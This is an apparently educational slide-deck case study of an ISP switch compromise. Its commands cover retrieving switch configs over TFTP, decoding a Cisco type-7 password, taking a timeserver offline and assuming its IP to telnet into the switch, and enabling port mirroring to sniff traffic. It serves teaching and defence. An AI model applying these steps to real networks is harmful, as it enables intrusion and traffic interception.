



Case Study: Help! Our Switch is under attack! a true story

by

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What happened?

An ISPs network was compromised giving the attacker,

1. An high bandwidth platform for numerous other attacks
2. Access to many unsecured hosts in the ISPs network



First steps of the attack

1. Scanning the ISPs network to gather information about possible victims
2. Social Engineering
3. Physical break in, to sabotage a local system



Investigating the compromised host

invisible through root kits

find tftp server on local machine

```
monhost# tftp tftphost  
tftp> get switch.cfg  
tftp> get cisco.cfg  
tftp> switch-a10-c95.config  
tftp> switch-a10-c95.boot ...
```

IP address of the switch 192.168.250.2



Investigating the compromised host

Having retrieved the file

```
hostname switch-a10-c95
!  
enable password 7 120A321E454324  
!  
ip domain-name intern_net.isp.com
```

password 7 is not real encryption, but obfuscation
the password was sWi7(H



Investigating the compromised host

DOS Tools against the timeserver

```
monhost# ping -i 5 timeserver
PING timeserver (192.168.250.15) from 192.168.250.89
64 bytes from 192.168.250.15: icmp_seq=0 ttl=115 time=8.9ms
64 bytes from 192.168.250.15: icmp_seq=0 ttl=115 time=50.0ms
64 bytes from 192.168.250.15: icmp_seq=0 ttl=115 time=552.8ms
64 bytes from 192.168.250.15: icmp_seq=0 ttl=115 time=4423.2ms
64 bytes from 192.168.250.15: icmp_seq=0 ttl=115 time=7726.0ms
64 bytes from 192.168.250.15: icmp_seq=0 ttl=115 time=87582.7ms
```

Set up a virtual IP address

```
monhost# ifconfig eth0:1 192.168.250.15
monhost# nc -s 192.168.250.15 switch-a10-c95 23
Password:
```




Investigating the compromised host

Making a new configuration for the switch

```
switch-a10-c95# conf t
switch-a10-c95# interface fastEthernet 0/18
svc-lan(config-if)#port monitor 0/1
svc-lan(config-if)#port monitor 0/2
      ....
svc-lan(config-if)#port monitor 0/32
```

No need to use the IP address of the timeserver anymore, shut down the virtual IP address



Watching the logs

1. How does the logging react on attacks
2. Create stealth attacks, that won't trigger alerts
3. Conclusion, outgoing traffic isn't as much monitored as incoming



The trace!

1. ISP noticed a anomaly in logging of outgoing traffic
2. Monitoring host looked clean, because attackers signs are cloaked
3. Only evidence that system was compromised, through network traffic to and from the system



Sources

Hacking Linux Exposed: Linux security secrets & solutions
By Brian Hatch, James Lee and Georg Kurtz

Multiple sources from the internet



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